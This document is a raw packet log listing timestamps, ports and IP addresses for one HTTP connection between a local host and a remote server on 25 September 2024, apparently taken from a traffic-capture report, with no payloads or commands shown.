Sep 25, 2024 03:51:31.381901026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381913900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381926060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381938934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381941080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.381941080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.381953001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381966114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381978035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.381994009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.381994009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.382092953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.382416010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.382428885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.382441044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.382451057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.382508039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.382508039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.405159950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.405178070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.405198097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.405211926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.405235052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.405247927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.405251980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.405251980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.405262947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.405277014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.405311108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.405431032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.468965054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.468991041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469001055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469023943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469038010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469050884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469072104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469129086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469130039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469181061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469194889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469233990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469330072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469342947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469372034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469384909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469398975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469419003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469419003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469448090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469468117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469531059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469613075 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469619036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469634056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469645023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469656944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469691992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469691992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469784975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469799042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469810963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469820976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469835043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469861984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469861984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469882011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469923019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469927073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.469935894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.469948053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470060110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470073938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470118999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470118999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470240116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470252991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470266104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470278025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470289946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470304012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470314980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470314980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470323086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470349073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470366955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470366955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470557928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470571995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470582008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470608950 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470611095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470623970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470638990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470643997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470652103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470695019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470695019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470855951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470869064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470880985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470892906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470905066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470916986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470930099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470942020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470946074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470946074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.470957041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.470958948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471152067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471165895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471178055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471191883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471204996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471208096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471208096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471240997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471240997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471488953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471509933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471524000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471534014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471546888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471559048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471570969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471573114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471587896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471599102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471605062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471611023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471626997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471640110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471652031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471657991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471658945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471667051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471678972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471689939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471702099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471703053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471703053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471715927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.471752882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.471752882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.472070932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472084999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472150087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.472194910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472208977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472219944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472233057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472244978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472253084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.472259045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472289085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472301960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472311974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472316027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.472316027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.472326994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472341061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472363949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.472363949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.472836018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472855091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472867012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472879887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472893000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472904921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472918034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472930908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472943068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.472944021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.472944975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472959042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472960949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.472973108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.472984076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.472987890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473002911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473016977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473030090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473043919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473062038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473062992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.473062992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.473079920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473092079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473108053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473113060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.473121881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473154068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473165989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.473170042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.473170042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.475404024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.496124029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.496149063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.496160030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.496251106 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.496258974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.496274948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.496288061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.496300936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.496340990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.496340990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.496373892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.499356031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560023069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560050011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560061932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560113907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560122967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560137987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560168982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560189962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560204029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560269117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560303926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560317993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560332060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560350895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560385942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560465097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560477018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560489893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560502052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560520887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560520887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560575008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560585022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560636044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560723066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560736895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560749054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560760975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560774088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560777903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560786963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560803890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560827017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560827017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560858011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560933113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.560960054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560971022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.560988903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561002016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561012983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561033010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561033010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561120033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561131954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561145067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561155081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561167955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561180115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561182022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561182022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561342955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561377048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561391115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561418056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561418056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561429977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561441898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561455011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561465979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561479092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561489105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561491013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561502934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561511993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561511993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561531067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561695099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561832905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561846972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561857939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561871052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561882019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561888933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561894894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561908960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561922073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561929941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561929941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.561933994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.561952114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562002897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.562150955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.562191010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562201023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562211990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562252998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.562341928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562355042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562367916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562380075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562391996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562398911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.562398911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.562406063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562421083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562428951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.562434912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562448025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562460899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562475920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562486887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.562486887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.562488079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.562552929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.562995911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563009977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563019991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563031912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563044071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563055038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563066959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563076019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563076019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563077927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563091040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563103914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563106060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563106060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.563117027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563128948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563141108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563153982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.563158035 CEST	49730	80	192.168.2.4	3.80.28.180
